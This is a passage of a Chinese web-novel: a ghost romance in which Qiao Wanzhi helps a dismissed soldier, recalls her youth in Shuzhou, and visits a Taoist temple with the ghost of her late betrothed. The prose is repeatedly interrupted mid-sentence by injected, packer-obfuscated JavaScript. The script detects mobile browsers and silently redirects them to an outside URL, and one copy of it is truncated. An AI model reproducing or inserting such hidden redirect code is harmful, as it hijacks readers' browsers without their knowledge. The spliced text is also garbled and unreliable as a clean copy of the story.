阿蓼很快就从屋内出来,手中不只有茶壶,还多了一个拳头大小的石榴。 彭校尉接过,为桥妧枝斟茶,拘束道:“家中没什么拿得出手的东西,女郎不要嫌弃。” 阿蓼在一旁,冲桥妧枝痴痴一笑,转身背对着她开始剥石榴。 桥妧枝看着阿蓼的背影,若有所思。 “阿蓼心智不全。”青年开口解释,语气带了丝苦涩,“原本她还有个姐姐,名唤藜娘,前不久病死了,只剩下她自己。” 他顿了顿,自嘲道:“说来可笑,她的姐姐,是我未过门的妻子,病死时,我竟连一个好的棺椁都买不起。” 桥妧枝眼皮一跳,看向彭校尉,“军中俸禄并不低。” 话音刚落,周遭便是一静。 良久,青年讽刺道:“我早就已经不在军中。” “浮屠峪一战,除了我们前去寻求增援的一队人马,沈家军几乎全军覆没。沈小将军死后,余下的沈家军并入周将军麾下。从那时起,我们就处处被针对排挤,先是克扣月钱,后又将我们打发进马厩做扫打。直到去年冬日,那些人寻了个理由就将我等兄弟赶了出来。” “周季然?” “就是他!”青年握拳,猛地捶在桌子上,愤愤道:“我等从未料到他是这等狼心狗肺之人。” 桥妧枝看着白瓷杯中漂浮的茶叶,抿唇道:“他不是与沈寄时是生死之交吗?” 青年双目赤红,“女郎,我读过的书不多,却也知道,何为人走茶凉。” 人走茶凉,不外如是。 桥妧枝怔然一瞬,下意识看向不远处的沈郎君。 微风和煦,他站在粗壮的石榴树下,被盈盈摇晃的枝叶遮挡,看不清神色。 若他当真是她的沈寄时,若他当真是......听到这些,又该作何感想。 桥妧枝不知该如何形容自己的心情,她捏紧茶杯,有些出神。 “女郎。”青年压下愤怒,开口询问:“女郎为何出现在这里?” 石榴将要成熟,浅淡的香气充盈在四周,桥妧枝缓缓舒出一口气,对青年道:“彭校尉,我今日前来,是因为昨夜做了一个梦。” 青年侧耳恭听。 “我梦到一个容颜姣好的女郎,她告诉我,她住在长宁坊的孙家,曾在房梁上存了十贯银钱,留给自己心智不全的小妹。” 青年续茶的手一顿,茶水溢到桌上,又顺着桌角滚入干黄的土地。 他颤抖着将茶壶放下,猛地转身,踉跄冲进房中。 青年去的快回来的也快,再从屋中出来时,一双虎目已是通红,粗糙黝黑的手上捧着满满的银钱。他看着桥妧枝,想要说话,可一张口,却是泪珠滚滚而下。 桥妧枝有一瞬间,突然明白那日她问要不要帮沈郎君给家人带信时,他为何拒绝了。 或许,正如他所言,逝者归去后唯一能做的事,便是让家人不再徒增悲伤。 桥妧枝离开时,收到了阿蓼剥好的石榴。晶莹剔透的石榴籽在阳光下微微闪烁,仿佛蒙上了一层薄光。 只是可惜,石榴还未成熟,不能吃。 她将石榴籽收进袋中,在即将迈出门槛时突然一顿,转身看向身后的青年。 “彭校尉。”少女目光落在他身后的阿蓼,叹息道:“你知道孙娘子为何会给我托梦吗?” 青年一怔,缓缓摇头。 “或许是,她觉得你应当回到军中继续报效大梁,她觉得我能帮你。” 十贯银钱又能用多久,孙娘子真正想要她帮的事,其实在彭校尉身上。毕竟,桥妧枝又怎么会对有关沈寄时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460527|141701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人和事置之不理呢。 她递给他一颗玉珠,“沈家还有沈萤,若是你肯等,兴许数年后会有一支新的沈家军。若是不愿等,十二皇子的府邸还缺几个护卫,你们可以一同去。” 她口中的你们,是一同被赶出去的那些将士。 青年呆愣在原地,干涩的唇抖了抖,却是唤了一声:“藜娘......” 从高角巷出来时,午时将近,巷中炊烟飘起,令人安心的饭菜香溢满街巷,行人渐少。 长安城闹市以外的地方,总是带着几分宁静祥和。 桥妧枝侧头,看向身边的郎君,他一路未曾说话,不知在想些什么。 “沈郎君。”桥妧枝率先开口,“你的阴德收到了吗?” “什么?”沈寄时一时没有反应过来。 “不是说要为郎君积攒阴德吗?”她注视着他的眼睛,努力想从里面看出什么,“我做了一件好事,这算不算为郎君积攒阴德?” 沈寄时神色突然变得晦暗,他艰涩问:“女郎今日,是为了我积攒阴德?” 桥妧枝仰脸看他,“郎君收到了吗?” 沈寄时看向她肩头,原本已经熄灭了的魂火已有了一小撮火苗,只是这火苗太小,犹如泥牛入海。 怎么会有人耗尽福报只为见一个死人呢?明明那个人活着的时候,总是惹她生气。 “收到了。” 他周身一松,避开她的目光,语气严肃道:“未入酆都的鬼魅大多执念太深,阴险狡诈,女郎下次不要再答应鬼魅所求之事。阴德便是福报,女郎在人间慢慢积攒便是。” 桥妧枝看着他,忍不住出声:“那你呢?” “什么?” “你说鬼魅大多阴险狡诈,那郎君也是吗?” 沈寄时一顿,薄唇微抿,重新对上她的视线,一字一句道:“即便是我,也是如此。” 他执念太深,酆都难容。更何况无论他生前死后都杀人无数,即便入了阴司,也是应当打入地狱的恶鬼。 桥妧枝不知为何有些气闷,看了他一会儿,突然将伞收起。 身边的鬼魅瞬间消失不见,握在手中的竹伞一片安静。 桥妧枝抱着伞走了一会儿,忍不住开口:“沈郎君为何不言语?” 竹伞微动,男子低沉的声音传出:“女郎得知我是阴险狡诈之辈,不愿意与我同行,我自然理解。” 桥妧枝:“........” 她抿唇,不再说话了。 越往兴宁坊的方向走街上便越是热闹,桥妧枝漫不经心地向前走,帷帽上的珠串偶尔因碰撞发出轻响,吵得她有些意乱心烦。 她心不在焉,路过之前的茶楼时,下意识往里看了一眼,当即脚步一顿。 茶楼门前站着几个身穿儒袍的男子,正在纵声说笑。 桥妧枝下意识往茶楼方向走,却猝不及防与一人相撞,她一惊,竹伞滚落在地。 沈寄时第一时间冲出伞将她扶稳,皱眉问:“有没有受伤?” 桥妧枝来不及回答,连忙看向茶楼,可转眼间,那群人却已不见了。 “沈郎君!”桥妧枝急急掀开帷帽,指着自己鬓角,“我刚刚看到,一个这里有痣的人。” 沈寄时瞳孔一缩,握在少女皓腕上的五指猛地收紧。 12. 第 12 章 夜深深,房中烛光蓦地晃了一下,映在窗上的影子明灭变幻,照出少女单薄的身影。 沈寄时立在她身边,烛光穿透他的身体,未曾留下丁点暗影。 他是鬼,自然映不出影子。 但有时与他独处时,桥妧枝总会莫名忘记这件事。 “我当真看到那个人了。”她盯着窗上的剪影,忆起白日那个茶楼前的青衫男子,语气坚定:“他鬓角的痣很明显,我一眼就看到了。” 沈寄时目光落在她手腕上那几道显目的红痕,薄唇抿成一条直线。她自小体质特殊,一旦磕了碰了,印记都要隔几日才能消下去。作为这几道红痕的始作俑者,他开始反思自己白日到底用了多大的力气。 “那个人很可能就在长安,而且就在兴宁坊。”桥妧枝说着,好一会儿没等到回话,下意识抬头去看他。 顺着他的视线,桥妧枝看到自己手腕上的痕迹,微微一怔,抿唇出声:“沈郎君,你有在听我讲话吗?” 沈寄时收回视线,嗯了一声,看向她的眸子,开口询问:“女郎的手腕,需要上药吗?” 话题跳脱的太突然,桥妧枝一时没有反应过来,下意识道:“不必。” 她另一只手搭在自己被握出红痕的手腕处,解释道:“只是看着吓人了些,其实并不疼。” 说完,见他还在看自己,桥妧枝顿了顿,说起之前的事情:“我小时候,从长安一路逃到了蜀州,路上吃了很多苦,自那以后,便不怕痛了,这点红痕,没什么感觉。” 沈寄时定了一响,顺着她的话道:“蜀州距离长安千里,女郎一路上定然吃了很多苦,很了不起。” 莫名被夸,桥妧枝一时语塞,良久讷讷道:“也.....也没有,差点就死了,是因为我身边有沈寄时护着我。” 说到沈寄时,她这才缓慢地将之前的思绪衔接起来,正要再说起白日看到的那人,却听几道咚咚声在窗户那边响起。 一人一鬼同时向窗边看去,却听敲窗声还在,只是窗纸上却不见人影。 鬼魅不受人间束缚,孙藜娘原本是可以直接穿墙而入,但是又怕吓到屋内的小娘子,只好老老实实的敲窗。 屋内只有一人,她老老实实敲了好一会儿也没人来开门,忍不住往窗户上贴。却不想刚把半张脸融进窗户,就险些被一股浓重的煞气吓晕过去。 窗子被打开,沈寄时挡在窗前,冷冷看着眼前这女鬼。 孙藜娘腿一软,本就苍白的脸都要被吓成了透明色。 明明快要被吓得魂飞魄散,女鬼还是硬着头皮,哆哆嗦嗦道:“奴,,,奴家是前来道谢的。” 沈寄时微微扬眉,折扇一开,侧身露出身后的女郎。 桥妧枝立在轻纱旁,烛光将她明媚的脸庞映衬得格外柔和,正有些疑惑地看着窗外的女鬼。 看到桥妧枝的一瞬间,孙藜娘只觉得自己的魂儿又重新聚在一起了,她娇娇柔柔行了礼,感激道:“女郎白日做的事奴家已经知道了,特地前来道谢。” 桥妧枝摇了摇头,实话实说:“我帮你是为了积阴德,你不必谢我。” 孙藜娘一怔,问:“那女郎阴德积到了吗?” 桥妧枝点了点头。 孙藜娘松了口气,“那就好,奴家明日就要去酆都领罚了,今日既是道谢也是告别。” “领罚?” 孙藜娘讪讪:“鬼差捉奴家时,奴家放心不下彭郎与家中小妹,便逃了。前段时间一直在长安城内盘旋,如今看到彭郎能够重回军中,小妹也被他照看的很好,奴家便放心了。” 桥妧枝错愕,没想到眼前这般娇柔的女子竟是从鬼差手中逃出来的。 似是看出她心中所想,孙藜娘清白的脸上闪过一丝不自然:“连年战乱,死人越来越多,鬼差有时会忙不过来,逃走的人越发多.....总之,奴家应当要受几年刑罚......” “这么久吗?” 孙藜娘惨笑道:“天上一日,地上一年,人间一日,黄泉一年。几年的刑罚,于女郎而言也不过是几日的事。” 桥妧枝一呆,直到孙藜娘离开,才看向沈寄时,迷茫道:“人间一日,黄泉便是一年吗?” 沈寄时沉默许久,缓缓道:“人间一日,黄泉一年。无论有什么执念,一入黄泉,时间久了,也就想不起来了。” 时间久了,也便想不起来了....... 桥妧枝呼吸一窒,对上沈寄时的目光,语气极为认真地问:“我寻他不到,是因为他已经忘了我吗?” 三百年有多长?她不知道。 她只知道,即便是十年不曾见过的人,记忆都已经模糊许多了。 沈寄时望向她眸光深处,两人距离极近,只要他稍微靠近些许,就能清楚地听到少女清浅的呼吸声。 只是他没动,嗅着少女墨发上的皂角香,似是在安抚又似是在回答:“我不知道他是否忘了女郎,但或许女郎可以早日忘了他,那样女郎会好过许多。” 桥妧枝歪头想了想,说:“你骗人。” “我去酆都找过他,他未曾去过酆都,说不定根本没有去过黄泉,就在人间的某个角落。” 沈寄时敛眸,用只有自己能听到的声音呢喃:“或许.......” 桥妧枝没听到,她转身想要离开,可又禁不住回头,看向窗前的郎君。 他立在原地未动,形单影只,莫名有些可怜。 她看着他,猛然想起,自己好像很久没看到属于沈寄时的幻觉了....... *
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460528|141701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 桥妧枝突然变得忙碌起来,一连几日,她总是早出晚归。有时会在兴宁坊的茶楼里点上一壶茶一坐就是一整日,有时又会去对面的酒楼包下靠窗的位子,一看就是半晌。 只是,一直到七月底,她日日盯梢,却再也没见到那个颊边有痣的青衫男子。 七月的最后一日,桥夫人起了个大早,带着家丁开始在桥府四周熏艾草。也不知是不是年纪大了缘故,这一整个七月她都觉得惴惴不安,如今总算要过了这个坎儿,自然是要烧些艾草去去晦气。 桥妧枝路过庭院时,被熏得睁不开眼,正想要赶快离开,却被桥夫人抓了个现行。 “怎么又要出去?”桥夫人将人拉到亭子里,又小心将她头上的帷帽摘下,狐疑道:“这段时日怎么天天都要出去,书买了,首饰买了,长宁坊的红豆糕也买了,今日又去做什么?” “买茶。” 桥夫人拧眉:“买茶做什么?” 桥妧枝编得面不改色,“昨日听沈萤说,朱雀大街上新开了一家茶铺,里面有今年拔尖的龙井茶,马上就是爹爹生辰,想要买当生辰礼。” 话音刚落,身边传来男子的低笑。 桥夫人自然是听不见笑声,她松了口气,冷哼道:“他库中的茶喝都喝不完,你还给他买什么?” 说着,桥夫人看向她腰间,眉头一皱,问道:“前几日阿娘给你绑的朱砂葫芦呢?” “丢了......” 谎话说多了,声音都有些飘。 “怎么还跟小时候一样,丢三落四的。”桥夫人也不生气,伸手将她头上的绒花扶正,“正好阿娘今日要去一趟古楼观,你与阿娘一同去,到时候给你求个桃木牌,就不用带朱砂葫芦了。” 桥妧枝本想拒绝,可是转眼看到身边的鬼,目光扫过他十分破旧的衣袍,不由得缓缓点了点头。 - 卯时刚过,一辆马车缓缓驶出相府大门,穿过长巷后,便停在兴宁坊石牌匾前。 桥妧枝不明所以,咦了一声,却见桥夫人掀开车帘,一边下车一边解释道:“阿娘今日是约了你兰香伯母一同去古楼观上香,我去与兰香说些体己话,你乖乖在这里呆着。” 说着,桥夫人提着裙子,毫不留恋进了另一辆马车。 沈寄时坐在桥妧枝身旁,在听到兰香这个名字时就禁不住皱起眉头。 果然,不过一瞬,外面就传来一道爽朗中带着欣喜的声音:“桥姑娘!” 沈寄时双目一沉,瞬间冷了脸。 桥妧枝回头,透过马车敞开的车窗,看到一身穿红色锦袍的瘦削男子,正骑在马上,兴高采烈地与她招手。 桥妧枝:“......” 她礼貌对红衣男子笑了笑,随后缓缓合上了车窗。 13. 第 13 章 很奇怪,桥妧枝想,蜀州不过短短六年,可就是这六年,却将她不长的人生贯穿了彻底。 依旧是承平二十四年。 这一年似乎发生了太多事,多到每次提到蜀州,她总是绕不开那一年的春寒料峭时。 蜀州入春早,可那年却尤为反常,明明已是三月,却冷得如同冬末。 桥妧枝裹着乔夫人亲手缝制的厚棉衣,脚步匆匆往家跑。 她身后追着一个个子不高的少年,在后面气喘吁吁地喊:“桥姑娘!桥姑娘!你等等我啊桥姑娘!” 青城县本就不大,父亲的朝中同僚皆住在同一个巷子里,他那样喊,周遭已经有不少人往外探头看她们。 桥妧枝深吸一口气,转头看瞪他,怒道:“你一直追着我做什么!” 那小郎君见她总算停了,先是松了口气,紧接着双颊泛红,结结巴巴道:“听......听闻你马上就要及笄了。” 桥妧枝撇了撇嘴:“早着呢,要到年底了,你追着我就是想说这个?” 她们虽然在同一个夫子那里听学,可从未说过话,好好的问她及笄作甚? 小郎君脸更红了,磕绊道:“我阿娘说,女子及笄之后就能成婚了。” 成婚? 桥妧枝猛地睁大眸子,许久没有反应过来。 从来没有一个人与她说过成婚的事情,她也从未想过自己要成婚。 这两个字让她慌了神,第一反应便是转身就跑,这么想,她也这么做了。 她一跑,小郎君傻眼了,连忙又追上去抓住她的袖子,拉拉扯扯往她怀里塞了一封信,怕她不要,索性跟她学,塞完东西就跑。 等桥妧枝反应过来的时候,那个小郎君早就跑的连衣角都看不见了。少女气闷不已,原本想丢了,又怕惹出事端,只好揣着信回家。 因为记挂着信,她晚膳吃得兴致缺缺,一吃完就将自己关进了屋子里。 夜风寒凉,桥妧枝攥着信面向窗外,依旧难以将脸上的燥热吹下去。 书本大的宣纸密密麻麻写满字了,其实所说的都能归结为一句:我心悦你。 在情窦初开的年纪面对一个年纪相仿的郎君示好,桥妧枝有一瞬间的慌乱。正如她从未想过成婚这件事一样,她也从未想过该如何面对一个并不熟悉的少年郎的示好。 外面天色越来越暗,桥妧枝趴在桌案上苦恼。不知道为什么突然想到了还在青城山上练兵的沈寄时,想着想着,又不可避免地想到沈寄时会不会也有喜欢的人。 来蜀州都四年了,沈寄时已经十六岁了。她数着手指算,十六岁,应该会有喜欢的人吧...... 她想的出神,未曾注意窗外的墙头上不知什么时候多了一个人。 沈寄时用短剑抵着墙头,一直等到被风吹透了身子都没等到少女发现自己,终于坐不住了,一个跃步跳上了窗檐,猛地凑到她跟前,提高声音道:“桥脉脉!” 桥妧枝一个激灵,下意识向后仰就要惊叫。少年反应迅速,猛地捂住她的嘴,跟着她一同向屋内倒去。 两人重重摔倒在地,少年一个闷哼,结结实实给怀中人当了一回肉垫子。 熟悉的气息包裹全身,桥妧枝反应过来,猛地起身,一拳捶在沈寄胸口,愤愤道:“沈寄时,吓人好玩吗?” 少年龇牙咧嘴地捂住胸口,只睁开一只眼睛看她,“几个月不见,力气见长。” 桥妧枝显然是真的生气了,正准备从地上爬起,却被少年拽住胳膊,重新摔回他胸口。 “谁让你出神那么久。” 沈寄时起身,又将她拉起,不慎讲究地拍了拍袖口,余光看到桌案上的信件。 桥妧枝警铃大作,当即就想将之藏起,却不想少年眼疾手快,一掌扣住她的手,不由分说按在了信上。 一目十行的扫过,沈寄时眉头皱得几乎能夹死苍蝇。 “你喜欢他?” 桥妧枝扭捏:“我.......” 少年冷了脸,嘲讽道:“肩不能提手不能抗的柔弱书生,毛都没长齐,你喜欢什么?” “沈寄时!”桥妧枝窘迫:“你能不能不要说得这么难听,他明明与我一般大,而且——” 见他脸色越来越难看,少女止住话头,“而且我也没有喜欢他。” 听她这样说,沈寄时面色一松,冷哼一声,将腰间短剑卸下,大咧咧扔到桌案上,不巧,正好扯破了写满情诗的信。 “还好你不喜欢他。” 桥妧枝有些可惜,一边收拾被划破的纸,一边愤愤道:“脾气臭死了。” 仿佛是为了验证她的话,沈寄时又是冷哼一声,显然心情还不大爽。 桥妧枝更不爽,将宣纸一摔,忍不住道:“沈寄时,你是不是吃炮仗了,生什么气!” 许久没听到回话,桥妧枝忍不住抬头看他。 少年倚靠在窗边,见她看过来,扬眉一笑,桀骜又不羁:“因为我喜欢你啊。” 桥妧枝猛地僵在原地,筹备好的一堆回怼的话,就那么卡在了喉咙里。 少年跳坐在窗台上,不知天高地厚地许下承诺:“桥脉脉,要不了多久,我定会让这天下海晏河清,等回长安那日,我就让我娘亲带着我来你家提亲!” 满天繁星倾泻在少年单薄的衣衫上,仿佛他拔剑一指,就能劈开天地。 沈小将军总是那么自信,只是那时他还不知道,关山难越水难渡,他注定是要失信的。 — 长安城的路并不平坦,九年前的东胡之乱,早就在长安留下了不可磨灭的伤痕。 马车颠簸在坊间凹凸不平的青石砖上,一路摇摇晃晃驶出长安城。 红衣郎君骑马跟在桥府马车旁,主动寒暄:“桥姑娘,想不到今日会在这里见到你。” 桥妧枝沉默了一会儿,掀开帘子看向外面的郎君,温声道:“冯郎君,当年一别,许久不见。” 少女容貌在窗幔的笼罩下只漏出半张脸,可光是这半张脸就已经足够令人动容。 多年不见,她好像一如往昔,不,或许比之前更加动人。 冯梁呆了一瞬,刚要脸红,就突然感到一股后颈一阵发凉。他下意识回头,却见身后远山青黛,除了矗立在远方的硕大长安城,再也没有旁人。 悻悻收回目光,冯梁看向马车中的人,心潮澎湃,“是啊,上次见面还是在蜀州,一晃就已经许多年了。” 桥妧枝微微一笑:“郎君是何时回京的?” “上月初六。” 冯梁想起什么,与她道:“我回长安前,特地去看了一眼如意巷。那里还是一如往昔,已经住了新的人家,桥府门前的那棵合欢树倒是越长越粗,如今已经堪堪够孩童抱一怀了。” 听他提起如意巷,桥妧枝失神一瞬。 那棵合欢树是她们逃去蜀州第一年,沈寄时为她栽下的。原本想效仿在长安时栽在她的窗外,只是如意巷太小,家家挨一起,她的窗前种不下,便退而求其次种在了门前。 她敛眸轻笑:“如此便好。” 冯梁也跟着笑了,眉飞色舞地说起她们在蜀州时候的事:“蜀州虽不如长安,但却是我们长大的地方。说起来,我年少时还给女郎送过情诗呢。” 话音一落,又是一阵阴风袭来,直吹得后颈发凉。 冯梁猛地回头,还是什么都没有。他仰头看了看高悬在天上的烈日,忍不住问:“女郎有没有觉得有些冷?” 桥妧枝一怔,摇了摇头。 沈寄时冷冷看着不断寒暄的两人,下颌越绷越紧。 “奇怪。”冯梁喃喃自语,以为是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460529|141701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的错觉,于是动了动脖子,继续道:“那时女郎连一句话都没与我说过,我竟直接对女郎示好。没想到,第二日就被沈小将军堵在巷子里教训了一顿。” 桥妧枝敛眸,解释道:“他那日正好下山来寻我,不巧看到了你的诗......一直未曾与郎君道歉......” “不不不,是我唐突,属实活该。”冯梁连忙摆手,想到什么,抿唇道:“沈小将军的事,我在蜀州的时候就已经听说了。” 桥妧枝敛眸,肉眼可见地低落下来。 冯梁意识到自己说过了话,正想要说些什么缓和气氛,沈寄时却已经耐心告罄,折扇一挥,车窗砰地一声合上。 桥妧枝下意识回头看他,压低声音疑惑道:“沈郎君?” 沈寄时掀了掀眸子,冷声道:“女郎这位朋友实在聒噪,三句有两句都在惹女郎伤心,何必再过多寒暄?” 话音刚落,冯梁的声音就从外面传进马车:“桥姑娘,风太大,还是别再开窗了,不必顾忌我。” 桥妧枝不语,与沈寄时对视许久,方才缓缓移开目光。 后面的路途清净了许多,马蹄声与车轮的转动声有规律响起,催得人昏昏欲睡。 桥妧枝额头抵在马车壁上,身子就要往下滑,眼看就要磕到桌角,就被一双手揽着腰提了上来。 少女长睫飞速抖动了几下,头一歪,靠在了身侧人的肩膀上。 沈寄时头也未抬,一动不动,就那么让她靠了一路。 山路崎岖,马车摇晃,可车内少女却睡得安稳。 沈寄时透过一角的窗幔,看到山中秋景,依稀记得某年春寒料峭时,他背着她上山时的场景。 只是那是什么时候,他已经有些记不清了。 生死茫茫,缘起缘灭,大抵都是从遗忘开始的。 桥妧枝醒时,马车刚刚停在古楼观下的长阶上。林中鸟雀嘶鸣,悦耳动听。 她缓缓睁开眸子,第一眼,就看到了坐在对面的沈郎君。 他侧身而坐,正看着窗外出神。日光洒在他身侧,他却被阴影笼罩,形成了一明一暗两个世界。 兴许是还未完全清醒,她看得出了神,直到被她看得人转身,她才回过神来,也不知是对他说还是对自己说:“我竟睡着了。” 沈寄时目光落在她下颌处被耳坠压出的红痕上,顿了许久,方才道:“女郎睡得不久。” 桥妧枝有些恍惚,努力眨了眨眸子,低声道:“我还以为睡了很久。” 冯梁的声音在外面响起:“桥姑娘,古楼观已到,该下马车了。” 桥妧枝没回答,用极低的声音对沈寄时道:“郎君是鬼,应当没办法上去。” 沈寄时淡淡嗯了一声,没有否认。 “那郎君在山下等我,我快去快回。”她说完,转身下了马车。 冯梁将马匹拴在不远处的树下,见她出来,连忙凑上去道:“山路颠簸,女郎可还好?” 颠簸? 她一路未曾察觉颠簸,想来应当是寒暄之语,于是道:“多谢郎君关心,未曾察觉颠簸。” “啊?”冯梁下意识看向陡峭山路,有些不明所以。这么颠簸的山路,没察觉吗? 想不通,等他再回头时,桥妧枝早就已经跟在桥夫人与梁夫人身边上了长阶。 “唉,娘、桥姑娘,你们等等我。” 聒噪的声音顺着风传进马车,沈寄时孤坐在马车内,面无表情。 早就料到有这一日的。 他几乎要被满身孤寂淹没殆尽,她总归是要嫁人的,即便不是冯梁也会是别人。 人鬼殊途,从他死在战场的那一日,就该料到有今日。他再次抚上自己胸口,那里还是没有心跳,可却疼得有些厉害,比他被万箭穿心的时候,还要疼得厉害。 14. 第 14 章 古楼观偏殿供奉了上百盏长明灯,有负责殿前扫打的小道童在这里日夜相守,灯芯长明,昼夜不息。 沈寄时的长明灯就供奉在这里。 桥妧枝立在偏殿前的银杏树下,仰头看着悬挂在树枝上还尚显青色的果子。长安大旱,可古楼观却如世外桃源一般未受影响,满树绿叶边缘已经泛出一层黄边,要不了多久,等到果子掉落,这里就会被一片金色笼罩。 “桥姑娘!”冯梁急匆匆穿过回廊,见她立在树下,先是松了口气,又连忙道:“你去哪儿了,我刚刚眨眼的功夫你就不见了。” 深山古观,若是真将人弄丢了,可就罪过大了。 桥妧枝慢条斯理收回目光,看向冯梁,语气有礼却疏离,“冯郎君寻我有事吗?” 冯梁失落一瞬,摇摇头,余光看到偏殿内数百长明灯,意识到什么,转头道:“原来女郎是来看沈小将军的。” 桥妧枝摇头:“我极少来这里,就算来,也不会进。” 她距离偏殿不远,透过殿门将满殿明灯尽收眼底。只是里面的灯太多,她不知哪一盏属于沈寄时。 冯梁更加好奇了,忍不住问:“为何不进?” 桥妧枝想了想,实话实说:“说来郎君可能不信,我为他奉灯的那日,长明灯共熄灭了三次,自那以后,我便很少去了。” 冯梁诧异,转头看了看偏殿,犹豫了片刻,出言安慰:“我之前听闻长明灯照亮黄泉路,灯长明则黄泉路顺,兴许沈小将军是放心不下女郎。” 桥妧枝不置可否。 两人都不再说话,借着银杏树的枝叶遮挡阳光。 冯梁有些局促地站在她身边,面朝远方,可余光却一直注意着身边的少女。 他明年就要弱冠,到时候家中定会给他定一位门当户对的女郎做妻子,他原本无所谓是谁,可如今却不这样想了。 若是那人是她,他定然是极为愿意的。 他想得出神,没有注意到桥夫人已经从正殿走了出来。 妇人立在长阶上,一眼就看到银杏树下的少男少女,他们距离说不上近,从她的角度看去却显得相得益彰。枝叶遮挡下,桥夫人有一瞬间恍惚,几乎要以为沈家那个桀骜不驯的小将军又回来了。 桥妧枝最先看到了她,走出树下,唤道:“娘。” 冯梁连忙也跟上来,抱拳道:“伯母,我娘她为何没出来?” 桥夫人回神,走下石阶,强颜欢笑道:“兰香还有些事情问道长,你还要多等一会儿。今日府中还有要事,我就带着脉脉先行离开了。” 桥妧枝闻言上前握住桥夫人的手,惊觉一片冰凉。她想要说什么,却被桥夫人一个眼神制止了。 桥夫人摇摇头,抓着桥妧枝的手,缓缓走下长阶。 桥府的马车静静停在山腰处,驾车的马夫一见她们下来,连忙拉开车帘。 阳光瞬间充盈在马车内,桥妧枝来不及制止,眼睁睁看着日光穿过他透明的身躯,照在车壁上。 有一瞬间,桥妧枝以为他要消失了。 桥夫人皱眉:“脉脉,在发什么呆?” 桥妧枝猛然惊醒,摇摇头,快步跳上马车,将帘子放下。 等到阳光被隔绝在外,桥妧枝才后知后觉地发现,自己掌心竟出了一层汗。 “女郎,我无碍。”沈寄时的声音在她身后响起,似是带了些许笑意。 桥妧枝不语,既不回头,也不看他。 “怎的这样着急?”桥夫人皱眉跟过来,似有不解。 “今日阳光有些烈。”桥妧枝语气放软,囫囵解释,主动扶着桥夫人上马车。 桥夫人皱了皱眉,没再多问。 山路崎岖,车轮滚滚向山下驶去,惊起林中飞鸟。 桥夫人看着眼前的女儿,突然问:“脉脉今日去看沈危止了?” 桥妧枝不知娘亲为何问起,只摇头道:“不曾去。” 确实不曾去,她只是在门外站了一小会儿。 “不去也好。”桥夫人道:“细细想来,已有一年光景,总要向前看,不能一直沉湎在过去。” 桥夫人为她梳理额前碎发,低声道:“等入了冬,脉脉就是双十之年了。” 桥妧枝意识到什么,忍不住出声:“阿娘......” 桥夫人打断她,声音依旧温柔:“别家的女郎在你这个年纪,就算是不成婚也早早就将婚约定下了。脉脉,其实天下好郎君不是只有沈寄时一个。” 是啊,天下的好郎君那么多,可背着她从长安到蜀州的,却只有一个沈寄时。 桥妧枝脸色一白,艰涩道:“娘亲是要为我定亲了吗?” 见她脸色苍白,桥夫人放软了语气,:“自然是以脉脉的意愿为主,你不喜欢冯家那个郎君没关系,阿娘与你相看些别的,若是长安没有喜欢的,也可以相看长安以外的郎君,明年就是春闱,长安来了很多才貌双全的举人,多看看,兴许就能遇到喜欢的。” “可是那些人,与我又有什么关系呢?” 山路颠簸,马车摇晃。 桥夫人只觉心肝脾肺被人拿出来搅了一遍,苦涩难当。 她想到今日寻道长为脉脉算姻缘时道长所说的话。 ——“夫人是为令爱算姻缘?可惜了,良缘难觅,令爱的姻缘线早就已经断了。” * 回去的路总是比出城时快上许多,窗外的声音也渐渐从鸟雀嘶鸣变为人声鼎沸。 长安城内外是两个世界,城外写尽盛世倾泻的颓然,城内却尚且留有繁华余温。 马车奔走在长街上,车内的两人却相顾无言,各自瞥向另一边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460530|141701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桥妧枝并不是会吵架的性子,无论与谁起争执都总是喜欢独自生闷气,就像是现在,固执的看向窗外,沉默到底。 马车缓缓停在桥府门前,桥夫人丢给她一副护身的桃木牌,红着眼眶下了马车,就头也不回地进了桥府,显然也在生气。 桥妧枝情绪低落,未跟下去,只坐在原处发呆。 “女郎不下去吗?”沈寄时出声,将少女思绪唤回。 